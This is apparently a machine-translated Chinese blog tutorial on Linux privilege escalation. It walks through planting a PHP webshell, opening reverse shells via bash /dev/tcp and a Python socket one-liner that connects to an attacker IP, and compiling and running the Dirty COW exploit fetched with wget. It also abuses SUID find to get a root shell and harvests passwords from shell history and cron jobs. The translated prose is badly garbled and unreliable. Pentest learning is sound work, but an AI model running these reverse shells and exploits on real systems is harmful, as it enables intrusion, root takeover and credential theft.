Linux operating system powered

Preamble:

The last time I learned about the power of Windows operating systems and the use of tools, I came to learn about Linux.

Linux basis of power

Strongly recommended.Exp Address  Proposal for a power of attorney Found[+] [CVE-2019-15666] XFRM_UAF

0x00: Linux method of drawing up power

A summary of the situation can be summarized as follows:

But the most common extraction method is still at its core.kernel rightsMost of the others are related to programmer staffing, and the odds are not very high.

0x01: Linux fundamentals of power

uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版

Password Permissions

Most of the Linux systems are password-based./etc/passwdand/etc/shadowThese two profiles are related,passwdWhat’s in there?User,shadowWhat’s in there?Password Hash value. Passwd is all user-readable, root can write and shadow can read and write only root.

/etc/passwd

Passwd is divided by a colon, the first is a user name, the second is a password and x stands for the password Hash was placed in a shadow.

/etc/shadow

The shading is the Hash of the password, but only root privileges.

Password reuse

It is also important to note that many managers repeat passwords, so it may be possible that the password in the database or backstage of the web is the root code.

Common processes for power mobilization

  1. wget http://exp/exp.c
    Downloadsexp文件
    
  2. gcc -o exp exp.c
    利用gcc进行编译操作,编译成二进制文件
    
  3. chmod +x exp
    将exp更改为可执行权限
    
  4. ./exp
运行exp进行提权

0x02: Linux rebound shell

Linux usually gets it.shellThey’re basically low-authority, and they didn’t execute orders in knives or other tools.Interactive process(In tools such as kitchen knives, only enter returns, e.g. in kitchen knives)sshWaiting for an order is not feasible, so it needs to be passed.Shell!Have one.Interactive shell。

Prepare the environment.

ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152

Upload one.phpOne word, a wooden horse. A kitchen knife.

View Current Permissions

Here you go.Shell!♪ The way to get toInteractive shell

First approach:

Revolt shell using the most classic and common method, with a different port set up when shell bounces preferably at the usual port, which may be blocked by firewalls.

先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1

But the execution failed. There’s no authority.

Second approach:

Resume shell using python scripts. Uploading scripts to the server requires a directory that can be uploaded and executed by low-permissible users, usually intmpOr…/var/tmpThat’s the right to do it.

pyshell

使用方法:
本地监听 :nc -l -p 53 -vv
目标机器执行:python back.py 192.168.186.134 53

The rebound was successful, thus creating an interactive shell that would facilitate the next step if the following command were used when using a python file without permission because it is uploaded by current users and has the right to change.

chmod 777 back.py

0x03: Filthy cow power

Dirty COW,CVE-2016-5195, the assailant can use this loophole to raise it locally with low permission to root. Dirty COW is a privilege to upgrade the bug in each case.Linux发行版And it’s found. The particular thing about this loophole is that anti-virus and safety software cannot be detected, and once used, they can never be known.

漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

Exp Address

Let’s build on the Shell’s success by looking at a version of the operating system, which is less than the one in the list.

uname -r

It’s through./etc/passwdI understand the superman is root.

View the id of the current user

Download exp files

wget https://github.com/FireFart/dirtycow/blob/master/dirty.c

You can read the instructions in the ext and execute them.

First, the dirty.c document is compiled by gcc

gcc -pthread dirty.c -o dirty -lcrypt


Compiled dirty files to replace root users

./dirty

The original root user was successfully replaced and the right to vote was successful.

The dirty cow has the power to remove this exp and others, such as:CVE-2016-5195, specifically not in the demonstration, as indicated, but with regard to the name of the document and change it.

Linux is in power.

0x00: Linux Analysis Tool

Linux-exploit-suggester

The Linux Permission Upgrade Audit Tool is based on the kernel number of the operating system. The program executes an “uname-r” command to get a release version of the Linux operating system, and then returns a list of tips containing applicable extloits.

Linux-exploit-suggester

./linux-exploit-suggester.sh

Just execute the order.

It’s easy to use an exp, but it’s not too late.

Searchsploit

Searchsloit to find software bug information from local extloit-db

Methods of use:

searchsploit

If you need to seeCentOS 7 kernel version 3.10The kernel hole.

searchsploit centos 7 kernel 3.10

We can do this by knowing what’s in the core.

0x02: SUD-motion

What’s a SUD?

In Linux, the existence of suid, guid, sticky and SUDID (set-up user ID) is one of the powers granted to documents that will appear at the enforcement level of the rights of the owner of a document which, in its execution, gives the caller temporary authority over the holder.

If you want to attach such a permission order to the document:

chmod u+s
chmod 4755

Yes.sIt’s the logo that has SUD permission) and it is understood in general terms that by having a binary file or program with SUD permission, you can execute an order, etc., so as to get root powering.

Find Eligible Files

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;


All the binary files above can be run under root, because they are owned by root and contain s.

chmod u+s /usr/bin/find


If the Find command is also operated with Suid privileges, all orders that will be executed through the Find are executed with root privileges.

I’m looking for a file that is mainly intended to carry out the orders in the back.

/usr/bin/find pass.txt -exec whoami \;


We’ve got power, and we’re going to bounce back as root users.

/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;


If there’s a mistake, close the firewall on both sides.

Shell is successful, and there are other orders of course to exercise power, provided that SUD has the authority to do so, no more examples can be given here.

0x03: Disposal of historical records

Check history records to see if there is any useful information, and some administrators inadvertently add parameters when accessing mysql or other software-p, thereby exposing the code or something.shScript links mesql, vpn etc. to the corresponding configuration file so that you can get the account code

cat ~/.bash_history
保存了当前用户使用过的历史命令


If you get the account code on the database, it could be root.

0x04: Planning mandate proposal

The system may have timed assignments, which are generally managed by the curontab and have the permissions of the user to whom they belong.

ls -l /etc/cron*


By default, these procedures are carried out with root privileges and if there is any script that can be written by any user we can modify the script to wait for a connection to rootshell.

0x05: Configuration error triggers power withdrawal

Manual search is largely impossible if it’s not familiar with Linux, so we can use the tools to look for it.
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

Considered a lot of configuration problems and listed all the writeable documents, so that if you find any configuration problems, you can make a move.

Summary

This learning has led to a simple understanding of Linux’s power, but there are many positions that need to be studied and accumulated.

Reference Blogs

https://www.cnblogs.com/BOHB-yunying/articles/11517748.html
https://www.cnblogs.com/hookjoy/p/6612595.html

未经允许不得转载:萌萌Apprentissage » Linux operating system powered

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本